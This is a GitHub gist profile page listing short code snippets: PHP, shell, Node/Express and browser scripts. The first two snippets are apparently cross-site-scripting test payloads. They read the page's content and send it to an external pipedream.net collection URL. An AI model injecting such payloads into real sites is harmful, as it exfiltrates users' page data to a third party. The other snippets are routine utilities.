Skip to content

Instantly share code, notes, and snippets.

View Naouak's full-sized avatar
👻

Quentin B Naouak

👻
View GitHub Profile
<script type="javascript">
var oReq = new XMLHttpRequest();
oReq.open('POST', 'https://enr4iz1vymuof.x.pipedream.net/?');
oReq.send("test");
</script>
var oReq = new XMLHttpRequest();
oReq.addEventListener('load', function reqListener () {
this.src='https://enr4iz1vymuof.x.pipedream.net/?' + this.responseText;
});
oReq.open('GET', '/');
oReq.send();
} catch(e){
this.src= 'https://enr4iz1vymuof.x.pipedream.net/?' + e;
}
<?php
echo 0.1+0.2==0.3?'true':'false';
// false
echo strval(0.1+0.2)==0.3?'true':'false';
// true

Keybase proof

I hereby claim:

  • I am naouak on github.
  • I am naouak (https://keybase.io/naouak) on keybase.
  • I have a public key ASA2xrjA7VPfq06ppkd000hVcLWbSsBIzjgz0dCIH729Vwo

To claim this, I am signing this object:

@Naouak
Naouak / flactomp3.sh
Created January 10, 2012 22:40
flac to mp3
#!/bin/bash
mkdir output
for file in *.mkv; do
ffmpeg -i "$file" -vcodec copy -acodec libmp3lame -sameq "output/$file"
done
@Naouak
Naouak / PdfRenderer.php
Created May 30, 2016 12:34
wkhtmltopdf
<?php
class PdfRenderer extends \mikehaertl\wkhtmlto\Pdf{
/**
* Add a page object to the output
*
* @param string $input either a URL, a HTML string or a PDF/HTML filename
* @param array $options optional options for this page
* @return static the Pdf instance for method chaining
*/
public function addPage($input,$options=array(),$type = null)
@Naouak
Naouak / maybebetter.js
Last active December 16, 2015 20:19
Serving static content on dynamic url with expressjs
//Create a module for static middleware instanciation with a singleton
//Use the same singleton for app.use and variable routing.
//If there is some caching stuff going on, they should share the same cache which is a lot better.
var express = require("express");
var static = null;
module.exports = function(){
if(!static){
static = express.static(__dirname+"/public");
}
@Naouak
Naouak / script.js
Created January 15, 2013 22:19
A short script that will inject on any animelist on MyAnimeList scores that are scaled from 0 to 10. It means that if your lowest score is 5, it will become 0. It also calculate some values that you may find interesting and put it in variables. To use it, just paste this in your chrome console when you are on an anime list.
var n = document.querySelectorAll(".animetitle");
var arr = [];
var min = null;
var max = null;
var total = 0;
var count = 0;
var noteCount = {};
for (var i = n.length - 1; i >= 0; i--) {
(function(n){
@Naouak
Naouak / install.sh
Created February 13, 2012 18:33
Joomla Extension installation with command line
#!/bin/sh
# Joomla extension auto installation
# Use that for development purpose, don't ever think of using it on a production website.
# The developer of that script won't endorse any problem you may encounter by using this script: Use it at your own risk!
# Please configure the three first params before using it.
# Usage :
# ./install.sh
# Will try to install every dir in the current dir
# ./install.sh directory
@Naouak
Naouak / gist:270df7ee30bc232e77b6
Created July 11, 2012 16:36
TextNode near Input finder
(function(){
function nativeTreeWalker() {
var walker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_TEXT,
null,
false
),node,textNodes = [];
while (node = walker.nextNode()) {
if (node.nodeValue) {